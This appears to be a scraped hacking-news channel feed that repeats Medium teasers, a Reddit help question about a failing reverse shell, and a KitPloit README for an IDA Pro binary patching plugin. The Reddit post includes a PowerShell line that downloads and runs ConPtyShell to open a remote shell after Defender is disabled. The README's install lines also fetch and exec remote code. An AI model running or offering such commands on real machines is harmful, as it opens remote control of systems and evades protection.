KitHack Framework is a free and open-source tool available on GitHub. It is designed to automate the process of downloading and installing…Continue reading on Medium » (https://thenurhabib.medium.com/kithack-hacking-tools-pack-in-kali-linux-bc3de9bbf4a4?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

KitHack — Hacking tools pack in Kali Linux

KitHack Framework is a free and open-source tool available on GitHub. It is designed to automate the process of downloading and installing…Continue reading on Medium »
Read more...

OTP Bypass and Account Takeover at Rajagiri Hospital

Reported and Fixed | Bounty Rejected Indirectly.Continue reading on InfoSec Write-ups »
Read more...

KitHack — Hacking tools pack in Kali Linux

KitHack Framework is a free and open-source tool available on GitHub. It is designed to automate the process of downloading and installing…Continue reading on Medium »
Read more...

How I “HACKED” my college site

Hello readers , I am Aditya , a second year student at Madhav institute of Technology and Science , Gwalior . This is a story of how I…Continue reading on Medium »
Read more...

How I “HACKED” my college site
https://a-rshukla.medium.com/how-i-hacked-my-college-site-5b759bbb04dc?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello readers , I am Aditya , a second year student at Madhav institute of Technology and Science , Gwalior . This is a story of how I…Continue reading on Medium » (https://a-rshukla.medium.com/how-i-hacked-my-college-site-5b759bbb04dc?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Why am I getting an error when creating a reverse shell?

Hi, I'm fairly new to ethical hacking so I was testing out some reverse shells from my laptop(victim on a different network) to my kali linux VM. I have turned windows defender real-time protection off and I have used all the correct commands. However, when running the listening commands I get this error:

Listening Command:

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1-UseBasicParsing); Invoke-ConPtyShell (IP and Port Here)

Error:

ConPtyShellException: [-] ConPtyShellException: WSAConnect failed with error code: 10060
at ConPtyShell.connectRemote(String remoteIp, Int32 remotePort)
at ConPtyShell.SpawnConPtyShell(String remoteIp, Int32 remotePort, UInt32 rows, UInt32 cols, String commandLine, Boolean upgradeShell)
at ConPtyShellMainClass.ConPtyShellMain(String[] args)

​

Does anyone know how I would be able to go about fixing this? Thanks

submitted by /u/MojoSiwa
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to hack a web server?

What is a webserver?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I “HACKED” my college site

https://cdn-images-1.medium.com/max/600/1*duNjbSKUgQa5h4-PkOVftQ.png
Hello readers , I am Aditya , a second year student at Madhav institute of Technology and Science , Gwalior . This is a story of how I…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
DCG 201 Hybrid Meet Up — March 2022 — Five F%#king Years!

https://cdn-images-1.medium.com/max/802/0*39PV_9GP5zR8KHKZ.png
Date: March 18th, Friday

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
KitHack — Hacking tools pack in Kali Linux

https://cdn-images-1.medium.com/max/600/0*eslRAhpYApJdQb_L.PNG
KitHack Framework is a free and open-source tool available on GitHub. It is designed to automate the process of downloading and installing…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Patching - An Interactive Binary Patching Plugin For IDA Pro

https://blogger.googleusercontent.com/img/a/AVvXsEhnKWVcWytnPHLdlBtvkvUYNJRyQN4dzYx7n8WYXjwyvC_Le3uZT4Rf0imEccuo_qwHC-cg73_CUFrna4aAIyueAMthsqK3VJTs6Rd-DUjym08736NTC4u-HMgAnhCDzjVtYL0bplwxd36dFs5PYXLvX1ubwZU0ty_fbLMKRdxdQPPFibU3kZuM6Qel=w640-h380 Patching assembly code to change the behavior of an existing program is not uncommon in malware analysis, software reverse engineering, and broader domains of security research. This project extends the popular IDA Pro disassembler to create a more robust interactive binary patching workflow designed for rapid iteration.

This project is currently powered by a minor fork of the ubiquitous Keystone Engine, supporting x86/x64 and Arm/Arm64 patching with plans to enable the remaining Keystone architectures in a future release.

Special thanks to Hex-Rays for supporting the development of this plugin. Releases* v0.1 -- Initial release InstallationThis plugin requires IDA 7.6 and Python 3. It supports Windows, Linux, and macOS. Easy InstallRun the following line in the IDA console to automatically install the plugin: Windows / Linuximport urllib.request as r; exec(r.urlopen('https://github.com/gaasedelen/patching/raw/main/install.py').read())macOSimport urllib.request as r; exec(r.urlopen('https://github.com/gaasedelen/patching/raw/main/install.py', cafile='/etc/ssl/cert.pem').read())Manual InstallAlternatively, the plugin can be manually installed by downloading the distributable plugin package for your respective platform from the releases page and unzipping it to your plugins folder.

It is strongly recommended you install this plugin into IDA's user plugin directory: import ida_diskio, os; print(os.path.join(ida_diskio.get_user_idadir(), "plugins"))UsageThe patching plugin will automatically load for supported architectures (x86/x64/Arm/Arm64) and inject relevant patching actions into the right click context menu of the IDA disassembly views: https://blogger.googleusercontent.com/img/a/AVvXsEg2zSCA0CdCrA2YVD9exUSWeJz7JlnFntXRTeevUTrR-VCgU-_PELtOigdfVgZtYqwDLmXeWZ49SY_xC_lteg0gqjPFS6yoVWZ4txbr0TmYq13QEkxM8EAVTcWDCL8q2xVKj539vRB__ZBMqP9x2FlZ3is1G1HALbgRT69SF8hYl1bldlTlKsTAin_z=w640-h258 A complete listing of the contextual patching actions are described in the following sections. AssembleThe main patching dialog can be launched via the Assemble action in the right click context menu. It simulates a basic IDA disassembly view that can be used to edit one or several instructions in rapid succession. https://blogger.googleusercontent.com/img/a/AVvXsEhQrxvQp47M0sL2iI__HcbnlJ6grjfUOwXj-aM0nLJMOTevoRRzrr8NHtRw85aNSQZnSx1vI8CzawzHnwlzqINB46eGX5iQNdmKBfJVuCmgGEON0fGpcsDWgsPcJcysdyhWX3AitWk3DerdbSX2Hodm2ixdDaY5FS-KcCOg-LcdZ9IBZ4H8D26iwzvx=w640-h458 The assembly line is an editable field that can be used to modify instructions in real-time. Pressing enter will commit (patch) the entered instruction into the database.

Your current location (a.k.a your cursor) will always be highlighted in green. Instructions that will be clobbered as a result of your patch / edit will be highlighted in red prior to committing the patch. https://blogger.googleusercontent.com/img/a/AVvXsEjXL90-W9NFZ5xWqS_8WojUDJGF2gS5h-BGxw5WyRSjVW4h7qgS41nMxO9Cauyf44endGIuS69Tx58Mjwzztgj9Oe_ryGH7dzzZlpwd27Jtm_k2EI69fsp4D4Tg0t5yC_oIT2mbtj52lhpSpTr4iUWqk2MGsHQg2qn-g9ewGgwqC6OUUnzCEQgnFl2t=w640-h318 Finally, the UPand DOWNarrow keys can be used while still focused on the editable assembly text field to quickly move the cursor up and down the disassembly view without using the mouse. NOPThe most common patching action is to NOP out one or more instructions. For this reason, the NOP action will always be visibl[...]

___________________________
@hacking_Attack
@Hacking_Video

e in the right click menu for quick access. https://blogger.googleusercontent.com/img/a/AVvXsEgiL--QjBzZh9hLaNmBvwuZII6vZs_Qgkyvj2Zis6pVh6r7xEjKlLU8ESSzUKVwaGlQCcC4YG0fwnN5ZqmNNJBsmGiLhGNdtYaxluN8ooA8uaUU-YVHg6nSXKuw-yMoMaey4mlXNRpPlNA_kkjdP-Fg5mevC7QKoDhO4pFd4nJxAQbKlR64aQGGKtn9=w640-h258 Individual instructions can be NOP'ed, as well as a selected range of instructions. Force Conditional JumpForcing a conditional jump to always execute a 'good' path is another common patching action. The plugin will only show this action when right clicking a conditional jump instruction. https://blogger.googleusercontent.com/img/a/AVvXsEimFFpAHDbbqRHHwT0NhXvr97eedGWfMH7vz4VH94n4TNmweWktCVDWs352Pxof88RZpDm9WOHlUTSLORXoKBtNsZ9x_Fos6KQxssD4rfzcsBZUN9hwXS5aIS8z5u_JpUuvd_kmajtxnntGKUDuRnfGFhpb27pxZPLD8vaw_3f_ky5Z3he1XpA2agLV=w640-h258 If you never want a conditional jump to be taken, you can just NOP it instead! Save & Quick ApplyPatches can be saved (applied) to a selected executable via the patching submenu at any time. The quick-apply action makes it even faster to save subsequent patches using the same settings. https://blogger.googleusercontent.com/img/a/AVvXsEhknRPSDctFDNuf_TQRDOIlKCkBUqXAcMFlcmZyBY_-ksKQqEZ6ydmYMFgIAOPi01XqnvC5gWGDXTqCu_belOLZ0LMmJf5we_MdePGGt3Qyk3TVwt9fZ6x03zOftZXKZ51SZ-BuOr8eJSyiVpmfy2ypByLO5FoeMDmRS1Uv_n8NuMI5GGcjWWGOH30d=w640-h282 The plugin will also make an active effort to retain a backup (.bak) of the original executable which it uses to 'cleanly' apply the current set of database patches during each save. Revert PatchFinally, if you are ever unhappy with a patch you can simply right click patched (yellow) blocks of instructions to revert them to their original value. https://blogger.googleusercontent.com/img/a/AVvXsEgbAqkylIziRpCKUlRu_eWLjjyWycDRD4y10HABkFkwXb0Fi4l-M-YWCN4QivgGunM_Ei7W5BC08tvqIV3albJtTru68NleQ7jE0BrP0AjGFBreo5vVxterZ_QUlgFs9IbIqYw_NOs_Nj3kkSaYD3ujB-2LPy5WRmB-wTX637p_uC-td4Fl3chx5mEL=w640-h258 While it is 'easy' to revert bytes back to their original value, it can be 'hard' to restore analysis to its previous state. Reverting a patch may occasionally require additional human fixups. Known Bugs* Further improve ARM / ARM64 / THUMB correctness
* Define 'better' behavior for cpp::like::symbols(...) / IDBs (very sketchy right now)
* Adding / Updating / Modifying / Showing / Warning about Relocation Entries??
* Handle renamed registers (like against dwarf annotated idb)?
* A number of new instructions (circa 2017 and later) are not supported by Keystone
* A few problematic instruction encodings by Keystone Future WorkTime and motivation permitting, future work may include:

* Enable the remaining major architectures supported by Keystone:
* PPC32 / PPC64 / MIPS32 / MIPS64 / SPARC / SystemZ

* Multi instruction assembly (eg. xor eax, eax; ret;)
* Multi line assembly (eg. shellcode / asm labels)
* Interactive byte / data / string editing
* Symbol hinting / auto-complete / fuzzy-matching
* Syntax highlighting the editable assembly line
* Better hinting of errors, syntax issues, etc
* NOP / Force Jump from Hex-Rays view (sounds easy, but probably pretty hard!)
* radio button toggle between 'pretty print' mode vs 'raw' mode? or display both? Pretty: mov [rsp+48h+dwCreationDisposition], 3
Raw: mov [rsp+20h], 3 I welcome external contributions, issues, and feature requests. Please make any pull requests to the developbranch of this repository if you would like them to be considered for a future release. Authors* Markus Gaasedelen (@gaasedelen) Download Patching

___________________________
@hacking_Attack
@Hacking_Video

Patching - An Interactive Binary Patching Plugin For IDA Pro
http://www.kitploit.com/2022/03/patching-interactive-binary-patching.html

___________________________
@hacking_Attack
@Hacking_Video

Patching assembly (https://www.kitploit.com/search/label/Assembly) code to change the behavior of an existing program is not uncommon in malware analysis, software reverse engineering, and broader domains of security research. This project extends the popular IDA Pro (https://www.hex-rays.com/products/ida/) disassembler (https://www.kitploit.com/search/label/Disassembler) to create a more robust interactive binary patching workflow designed for rapid iteration. This project is currently powered by a minor fork (https://github.com/gaasedelen/keystone) of the ubiquitous Keystone Engine (https://github.com/keystone-engine/keystone), supporting x86/x64 and Arm/Arm64 patching with plans to enable the remaining Keystone (https://www.kitploit.com/search/label/Keystone) architectures in a future release. Special thanks to Hex-Rays (https://hex-rays.com/) for supporting the development of this plugin.
Releases v0.1 -- Initial release Installation This plugin requires IDA 7.6 and Python 3. It supports Windows, Linux, and macOS. Easy Install Run the following line in the IDA console to automatically install the plugin: Windows / Linux import urllib.request as r; exec(r.urlopen('https://github.com/gaasedelen/patching/raw/main/install.py').read()) macOS import urllib.request as r; exec(r.urlopen('https://github.com/gaasedelen/patching/raw/main/install.py', cafile='/etc/ssl/cert.pem').read()) Manual Install Alternatively, the plugin can be manually installed by downloading the distributable plugin package for your respective platform from the releases (https://github.com/gaasedelen/patching/releases) page and unzipping it to your plugins folder. It is strongly recommended you install this plugin into IDA's user plugin directory: import ida_diskio, os; print(os.path.join(ida_diskio.get_user_idadir(), "plugins")) Usage The patching plugin will automatically load for supported architectures (x86/x64/Arm/Arm64) and inject relevant patching actions into the right click context menu of the IDA disassembly views:

___________________________
@hacking_Attack
@Hacking_Video

A complete listing of the contextual patching actions are described in the following sections. Assemble The main patching dialog can be launched via the Assemble action in the right click context menu. It simulates a basic IDA disassembly view that can be used to edit one or several instructions in rapid succession.

___________________________
@hacking_Attack
@Hacking_Video